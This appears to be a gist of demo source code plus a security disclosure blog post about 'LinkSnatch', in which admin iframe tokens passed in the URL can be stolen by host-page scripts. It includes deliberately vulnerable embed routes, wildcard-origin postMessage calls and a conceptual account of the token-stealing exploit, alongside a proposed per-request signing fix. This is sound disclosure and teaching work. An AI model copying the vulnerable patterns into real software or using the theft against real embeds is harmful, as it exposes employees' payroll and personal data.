<div className={css({ display: attackerVisible ? "block" : "none" })}>
<div className={css({ fontSize: "sm", color: "danger", marginBottom: "xs", fontFamily: "mono", fontWeight: 600 })}>
Attacker's Browser
</div>
<div className={css({ fontSize: "xs", color: "text.muted", marginBottom: "xs", fontFamily: "mono", overflow: "hidden", textOverflow: "ellipsis", whiteSpace: "nowrap" })}>
Same URL, different machine
</div>
<iframe
ref={attackerIframeRef}
className={css({
width: "100%",
height: "220px",
border: "1px solid rgba(255, 45, 85, 0.6)",
borderRadius: "md",
background: "embed.bg",
})}
sandbox="allow-same-origin allow-scripts"
title="Attacker's copy of the embed"
/>
</div>
</div>
<div className={css({
fontFamily: "mono",
fontSize: "md",
lineHeight: 1.6,
minHeight: "80px",
maxHeight: "300px",
overflowY: "auto",
padding: "md",
background: "rgba(0, 0, 0, 0.4)",
borderRadius: "md",
})}>
{log.length === 0 ? (
<span className={css({ color: "text.muted" })}>
Waiting for iframe to load...
</span>
) : log.map((entry, i) => (
<div key={i} className={logEntryColor({ type: entry.type })}>
{entry.message}
</div>
))}
</div>
</VStack>
{attackerVisible && (
<p className={css({
marginTop: "md",
marginBottom: 0,
padding: "0.75rem token(spacing.md)",
background: "rgba(255, 45, 85, 0.15)",
borderRadius: "md",
fontSize: "normal",
color: "danger",
fontWeight: 600,
})}>
That was real JavaScript reading a real iframe's src attribute in your browser.
Two lines of code. The URL contains everything needed for full admin access.
</p>
)}
</DemoCard>
);
}
export function VulnerableDemoWithCode() {
return (
<>
<VulnerableDemoInner />
<CodeTabs tabs={[
{ label: "host.html", language: "html", code: HOST_HTML },
{ label: "malicious.js", language: "javascript", code: MALICIOUS_JS },
{ label: "server.ts", language: "typescript", code: SERVER_TS },
]} />
</>
);
}
import { createFileRoute } from "@tanstack/react-router";
import { createServerFn } from "@tanstack/react-start";
import { useEffect } from "react";
import { css } from "styled-system/css";
import { EmbedShell } from "./-EmbedShell";
import { EmployeeTable } from "./-EmployeeTable";
import { Route as parentRoute } from "./embed";
const consumeToken = createServerFn({ method: "GET" })
.handler(async ({ data }: { data: { token: string; source: string } }) => {
const { LINKSNATCH_RACE_OBJECT_URL } = await import("~/env.server");
const res = await fetch(
`${LINKSNATCH_RACE_OBJECT_URL}?token=${encodeURIComponent(data.token)}&source=${encodeURIComponent(data.source)}`,
);
return res.json() as Promise<{ ok: boolean; winner: string }>;
});
export const Route = createFileRoute("/demos/linksnatch/embed/race")({
validateSearch: (search: Record<string, unknown>) => ({
token: (search.token as string) || "",
source: (search.source as string) || "iframe",
delay: Number(search.delay) || 0,
}),
beforeLoad: async ({ search }) => {
const { token, source, delay } = search;
if (!token) throw new Error("No token provided.");
if (delay > 0) await new Promise(r => setTimeout(r, Math.min(delay, 200)));
const result = await consumeToken({ data: { token, source } });
if (!result.ok) {
throw new Error("Invalidated");
}
return { raceResult: result };
},
component: RaceEmbed,
errorComponent: RaceError,
});
function RaceEmbed() {
const { employees } = parentRoute.useLoaderData();
const { token, source } = Route.useSearch();
useEffect(() => {
window.parent.postMessage({ type: "race-result", ok: true, token, source }, "*");
}, [token, source]);
return (
<EmbedShell badge="authenticated">
<EmployeeTable employees={employees} />
</EmbedShell>
);
}
function RaceError({ error }: { error: Error }) {
const { token, source } = Route.useSearch();
useEffect(() => {
window.parent.postMessage({ type: "race-result", ok: false, token, source }, "*");
}, [token, source]);
return (
<EmbedShell badge={error.message || "Token consumed"}>
<p className={css({ color: "embed.muted", textAlign: "center", padding: "xl", margin: 0 })}>
{error.message || "Invalidated"}
</p>
</EmbedShell>
);
}
import { createFileRoute } from "@tanstack/react-router";
import { useState, useEffect, useRef } from "react";
import { css } from "styled-system/css";
import { EmbedShell } from "./-EmbedShell";
import { EmployeeTable } from "./-EmployeeTable";
import { EMPLOYEES } from "./embed";
import type { Employee } from "./-EmployeeTable";
export const Route = createFileRoute("/demos/linksnatch/embed/secure")({
component: SecureEmbed,
errorComponent: SecureError,
});
function SecureEmbed() {
const [employees, setEmployees] = useState<Employee[] | null>(null);
const [status, setStatus] = useState<"connecting" | "authenticated" | "timeout" | "error">("connecting");
const initRef = useRef(false);
useEffect(() => {
if (initRef.current) return;
initRef.current = true;
let cancelled = false;
const timeoutId = setTimeout(() => {
if (!cancelled && status === "connecting") {
setStatus("timeout");
}
}, 5000);
(async () => {
try {
// Load rimless from CDN
if (!(window as any).rimless) {
await new Promise<void>((resolve, reject) => {
const s = document.createElement("script");
s.src = "https://unpkg.com/rimless/lib/rimless.min.js";
s.onload = () => resolve();
s.onerror = () => reject(new Error("Failed to load rimless"));
document.head.appendChild(s);
});
}
const { guest } = (window as any).rimless;
const connection = await guest.connect({
fetchEmployees: async () => {
if (cancelled) return { success: false };
const jwt = await connection.remote.signRequest("GET", "/api/employees");
if (!cancelled) {
// In a real app, we'd use the JWT to fetch from the vendor API.
// Here we use the local data since this is a demo.
setEmployees(EMPLOYEES);
setStatus("authenticated");
clearTimeout(timeoutId);
window.parent.postMessage(
{ type: "request-complete", action: "GET", resource: "/api/employees", status: "200 OK (4 employees)" },
"*"
);
}
return { success: true };
},
});
} catch (err) {
if (!cancelled) setStatus("error");
}
})();
return () => { cancelled = true; clearTimeout(timeoutId); };
}, []);
const badge = status === "authenticated" ? "authenticated"
: status === "timeout" ? "waiting"
: status === "error" ? "Connection failed"
: "waiting";
return (
<EmbedShell badge={badge}>
{employees ? (
<EmployeeTable employees={employees} />
) : (
<p className={css({ color: "embed.muted", textAlign: "center", padding: "xl", margin: 0 })}>
{status === "connecting" && "Connecting to host..."}
{status === "timeout" && "Waiting for auth..."}
{status === "error" && "Connection failed."}
</p>
)}
</EmbedShell>
);
}
function SecureError({ error }: { error: Error }) {
return (
<EmbedShell badge="error">
<p className={css({ color: "embed.muted", textAlign: "center", padding: "xl", margin: 0 })}>
{error.message || "Connection failed"}
</p>
</EmbedShell>
);
}
import { createFileRoute } from "@tanstack/react-router";
import { css } from "styled-system/css";
import { EmbedShell } from "./-EmbedShell";
export const Route = createFileRoute("/demos/linksnatch/embed/token-echo")({
validateSearch: (search: Record<string, unknown>) => ({
token: (search.token as string) || "",
}),
component: TokenEchoEmbed,
});
function TokenEchoEmbed() {
const { token } = Route.useSearch();
return (
<EmbedShell badge={token ? "authenticated" : "waiting"}>
<div className={css({
fontFamily: "mono",
fontSize: "sm",
color: "embed.muted",
padding: "sm",
})}>
<span>Received token: </span>
<span className={css({ color: "laser.blue" })}>{token || "(none)"}</span>
</div>
</EmbedShell>
);
}
import { createFileRoute, Outlet } from "@tanstack/react-router";
import type { Employee } from "./-EmployeeTable";
export const EMPLOYEES: Employee[] = [
{ name: "Alice Chen", role: "Engineering Manager", salary: "$185,000", sin: "•••-•••-842" },
{ name: "Bob Martinez", role: "Senior Developer", salary: "$165,000", sin: "•••-•••-119" },
{ name: "Carol Singh", role: "Staff Designer", salary: "$155,000", sin: "•••-•••-337" },
{ name: "David Kim", role: "VP Operations", salary: "$210,000", sin: "•••-•••-561" },
];
export const Route = createFileRoute("/demos/linksnatch/embed")({
loader: () => ({ employees: EMPLOYEES }),
component: EmbedLayout,
});
function EmbedLayout() {
return <Outlet />;
}
import { createFileRoute } from "@tanstack/react-router";
import { css } from "styled-system/css";
import { EmbedShell } from "./-EmbedShell";
import { EmployeeTable } from "./-EmployeeTable";
import { Route as parentRoute } from "./embed";
export const Route = createFileRoute("/demos/linksnatch/embed/vulnerable")({
validateSearch: (search: Record<string, unknown>) => ({
token: (search.token as string) || "",
}),
beforeLoad: ({ search }) => {
if (!search.token) {
throw new Error("No valid session. Token required.");
}
},
component: VulnerableEmbed,
errorComponent: VulnerableError,
});
function VulnerableEmbed() {
const { employees } = parentRoute.useLoaderData();
return (
<EmbedShell badge="authenticated">
<EmployeeTable employees={employees} />
</EmbedShell>
);
}
function VulnerableError({ error }: { error: Error }) {
return (
<EmbedShell badge={error.message || "No Token"}>
<p className={css({ color: "embed.muted", textAlign: "center", padding: "xl", margin: 0 })}>
{error.message || "No valid session. Token required."}
</p>
</EmbedShell>
);
}
title LinkSnatch: Prenegotiated embed tokens are unsafe at admin scope
description How and why Stripe-style iframe security breaks down for admin embeds. Live demos within.
date 2026-03-09
highlight true

import { VulnerableDemoWithCode } from "../../app/routes/demos/linksnatch/-VulnerableDemo"; import { RaceDemoWithCode } from "../../app/routes/demos/linksnatch/-RaceDemo"; import { SecureDemoWithCode } from "../../app/routes/demos/linksnatch/-SecureDemo"; import { TokenDemo } from "../../app/routes/demos/linksnatch/-TokenDemo"; import { Callout } from "../../app/components/Callout";

There's a pattern I see everywhere—popularized by Stripe—for passing session-like state to an iframe: your server gets a token, passes it to the client, and the client opens the iframe.

Stripe's Payment Intent tokens pre-negotiate a vendor (where the money goes), the amount (how much money), and—if Stripe is responsible for it—the shipping address (for, y'know, taxes and stuff). If someone were to exfiltrate the token, it's fine; the blast radius is bounded by design. The attacker gets the ability to pay your invoice for you. Thanks!

<img src="/stripe-flow.svg" alt="Sequence diagram: Your Server creates a PaymentIntent via Stripe API, receives token pi_abc123, passes it to the Browser iframe, which confirms payment to Stripe" style={{width: '100%', maxWidth: '600px', margin: '1.5rem auto', display: 'block'}} />

Now imagine the iframe isn't a payment form. It's a full payroll admin panel—salaries, tax withholdings, social insurance numbers—embedded inside a partner's app. The token doesn't scope to a provably-safe action; instead it's a skeleton key to read and write every employee's compensation data. A single XSS on the host page, a single compromised browser extension, and that token is sitting, vulnerable in the DOM.

I built exactly this kind of embed at a fintech startup. When I realized the inherited security model was quietly broken, I designed a fix. We used the same disclosure repro internally to validate the alternative architecture. Within days of building the proof of concept, I disclosed the class of vulnerability to two competing vendors. One claimed single-use tokens; both classified it as informational.

And now, two years later still un-mitigated, I present LinkSnatch: the problem, the fix, and a sprinkling of interactive demos for you to play with the exploit, then defend against it.

Now make the blast radius admin-sized

Among the many embeds SaaS products have at their disposal, like analytics and ad networks and ID verification, there is a growing category of "embedded payroll" providers. I know, because I was a Founding Engineer at one.

Embedded payroll customers offer payroll in their own apps. Without naming customers, this product fits well with point-of-sale systems, employee scheduling systems, business banking portals, etc. To simplify and speed up the go-to-market motion, embedded payroll providers often offer embeddable payroll components, so partners can start running payrolls as soon as reasonably possible.

But admin tokens aren't scoped to a single action. They're scoped to everything the admin page can do. Change salaries, payout bank accounts. Modify tax withholdings. Access employee SSNs. The token proves the page was authorized to load the admin view, and that's the end of the security story.

The host page has other JavaScript running. Analytics. Chat widgets. Error tracking. A compromised npm dependency. A rogue browser extension. Any third-party script — or any script compromised via a supply chain attack — shares the same execution context. It can read the DOM. It can intercept network requests. It can find your admin token.

The Exploit

That's it. A few lines of JavaScript that any script on the page could run. The token is in the URL, in the DOM, in the network request — pick your exfiltration vector. Once an attacker has it, they have admin access to your customers' payroll.

Payroll is the example here, but the vulnerability applies to any embedded admin component where the token grants broad access: HR dashboards, financial controls, customer data panels, etc. If you embed it and the token can perform privileged actions, you're exposed.

I call this class of vulnerability LinkSnatch: where privileged credentials intended for a server-to-iframe channel are exposed to arbitrary JavaScript on the host page; exploitable via XSS, supply chain compromise, or any script sharing the host page's execution context.

  • The sandbox attribute on iframes can restrict iframe capabilities, but the threat is in the host page. A clever MutationObserver can instantly grab this from the iframe's src attribute, and the attacker is off to the race condition before the iframe even loads.
  • Content Security Policy could limit exfiltration vectors, but that assumes every embedding partner will maintain a strict CSP, and it won't help if one of their trusted scripts gets compromised.
  • Single-use tokens make things safer but cannot guarantee safety; more on this below.

The attack surface is the host page, and while the host page is the embedder's responsibility, the boundary is the vendor's to design and enforce.

"But we use single-use tokens"

One vendor I disclosed this to claimed their tokens were single-use. They did not provide a test environment to verify this. But even if true, single-use doesn't help.

The race is between your iframe and the attacker's script. Both execute in the same browser, on the same page, at the same time. The attacker's script can intercept the token before the iframe uses it — or use it in a parallel request faster than the iframe's own initialization.

A correctly implemented single-use token with server-side atomic consumption does make this harder; the attacker needs to win a genuine network race rather than simply reading a value. But it can only move the vulnerability into probabilistic space, where attackers race the frame provider's p90, p99 response times to gain an edge. Because the attacker's script only needs to win once per payroll account, and can retry on every page load.

The fundamental problem remains: you're sending a credential to an environment you don't control and hoping nothing else reads it first.

RequestRequest: an embed you can trust in an environment you can't

The fix is to stop trusting the client entirely. Don't send tokens to the browser. Don't assume the iframe's environment is safe. Instead, like Charlie Munger says, "invert, always invert." Make the iframe prove every request is authorized by getting the embedder's server to co-sign it.

Here's the architecture:

RequestRequest sequence diagram: Iframe signs requests via Host Page and Host Server

The RequestRequest flow: every API call is signed server-side, so the iframe never holds a credential.

The iframe routes every request through the host page, because that's where auth context lives (e.g. the user's session, role-based access, the embedder's own security model...). The iframe never holds a persistent credential. Every operation requires a fresh signature from a server the attacker can't reach.

// The embedder's signing endpoint — this is all they need to implement
import { SignJWT } from 'jose'; // There's a JWT library in every language

type RequestRequest = {
  method: 'GET' | 'POST' | 'PUT' | 'PATCH' | 'DELETE';
  resource: string;   // URI path, e.g. "/api/employees"
  bodyHash?: string;  // SHA-256 of the request body (helps secure POST/PUT/PATCH)
};

// Called from a POST endpoint protected by same-origin session cookie + CSRF token
async function signRequest(request: RequestRequest, sessionToken: string) {
  // Check your own auth — session, RBAC, whatever you already use
  const user = await validateSession(sessionToken);
  if (!user || !user.canAccess(request.resource)) {
    throw new Error('Unauthorized');
  }

  // Sign the request — 30s expiry, one operation, one user
  return await new SignJWT({ ...request, userId: user.id })
    .setProtectedHeader({ alg: 'HS256' })
    .setExpirationTime('30s')
    // EMBEDDER_SECRET: your auth primitive. HMAC shared secret, RSA/EC keypair,
    // OAuth2 client credentials — whatever fits your infra. See lucia-auth.com.
    .sign(EMBEDDER_SECRET);
}

The type signature is deliberate. By binding the JWT to a specific method, resource, and (when appropriate) body hash, a stolen signature is useless for anything other than the exact operation the user was already performing in an already-authorized frame. An attacker who intercepts a GET /api/employees signature can't replay it as POST /api/employees to create a ghost employee; the method doesn't match.

Each layer compounds the difficulty. Spoofing a write requires reverse-engineering the body hash. Submitting the forged request requires matching the origin, CSRF token, and session metadata the signing endpoint expects. An attacker who can do all of that has already compromised far more than an iframe — at that point, the embed token is the least of your problems.

<Callout variant="tip" title={<>On postmessage protocols</>}>

If you're implementing something like this, rimless is my favourite cross-context postMessage wrapper. It handles the handshake, origin validation, and message typing so you don't have to.

If you roll your own postMessage API, two notes:

  • To avoid dropped messages during initialization, the iframe should wait for a ready signal from the host before initiating requests. rimless uses a handshake where the host page is expected to attach its listener early; guest frames then send a handshake init to their parent and await the response.
  • Please, for security's sake, validate event.origin on every message. Skipping this check is one of the most common iframe security mistakes. Friends don't let friends handle messages from untrusted origins!

This design also gives you revocation for free: given that an iframe's session may outlast the host application's, for example when the user opens the page, starts some work, joins a meeting, and comes back hours later. With prenegotiated tokens, that stale session still has full access. With RequestRequests, the host page's auth has to re-validate every call. If the session expired, the signing endpoint rejects it.

If the signing endpoint is slow or unavailable, the iframe should degrade gracefully — show a retry prompt or a clear error state, not a frozen UI.

Whether the session is four seconds or four hours, every payroll action gets authorized through the embedder's signing endpoint. Yes, this is a new architecture for the vendor's SDK. That's the point. The old architecture is broken. This does require vendor cooperation — embedding partners can't implement RequestRequest unilaterally. But the integration burden is minimal: one signing endpoint, behind auth you already have.

Although the round-trip adds latency per request, in practice it was negligible. If each round-trip is at most 100ms, five parallel reads take at most ~200ms total, not a whole second. Batch where you can, parallelize the rest, and pre-warm when possible. You've got this.

Same page. Same rogue script. Same exfiltration attempt. Nothing to steal.

Both vendors shrugged

I disclosed this to two competing vendors whose embedded admin components were vulnerable on January 26, 2024 — one YC-backed, the other backed by Stripe. I gave both a 90-day timeline.

One responded quickly, suggested they use single-use tokens, and classified the report as informational. The other missed self-imposed SLAs and required significant follow-up, also eventually classifying it as informational.

As of publication (March 2026), both vendors' documentation still describes the vulnerable pattern. Neither has changed their embed architecture in over two years. In that time, these platforms have processed hundreds of millions—possibly billions—of dollars in payroll on behalf of thousands of companies, every one of which is exposed to this exploit by a single malicious script or supply chain compromise on the host page.

I'm not naming either vendor here. Both are aware this post is being published and have had two years since initial disclosure to act. A determined reader could ascertain this without much vigor.

This isn't a story about two specific companies though. It's about a pattern that an entire category of B2B embed products copied from a context where it was safe, and applied it to a context where it isn't.

The Stripe pattern is brilliant. For Stripe's use case. The mistake is treating "Stripe does it this way" as a universal security architecture.

Why don't vendors fix this? Because the incentives are misaligned. Migrating to a signing-based architecture means shipping a breaking SDK change, coordinating every embedding partner to update their integration, and absorbing the support burden of a major migration.

Meanwhile, the risk of not fixing it falls silently and entirely on their embedding partners and the payroll accounts jointly administered. Classic negative externality.

These are platforms handling employee SSNs, salary data, and tax withholdings. Two years of inaction after disclosure is a gap that penetration testers and SOC 2 auditors may consider a flag, a potential exposure under GDPR and applicable regional privacy law, and in a post-breach scenario, evidence of known-but-unaddressed risk.

What to do right now

If you're a vendor building embeddable admin UIs: Stop sending tokens to the browser. Ship a postMessage-based signing flow. Your customers' host pages are not your security boundary. Assume they are hostile.

If you embed meaningfully-privileged UX from a third-party: Ask your vendor: "Can you show me your threat model for what happens when a third-party script on our page reads the embed token?" If they can't answer that question, you know where you stand. In the meantime, audit your third-party scripts, tighten your CSP (MDN CSP guide), and review your auth primitives (Lucia Auth is a solid starting point). It's not a fix, but it shrinks the window.

If your company's payroll runs through an embedded admin component: Ask your payroll provider whether their embed integration uses client-side tokens or server-to-server signing. If it's the former, every time you load your payroll app, you are at risk of token exfiltration, letting an attacker perform the same actions you're about to.


The interactive demos on this page are built with TanStack Start server functions and a Cloudflare Durable Object for atomic token consumption. Source code available as a gist.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment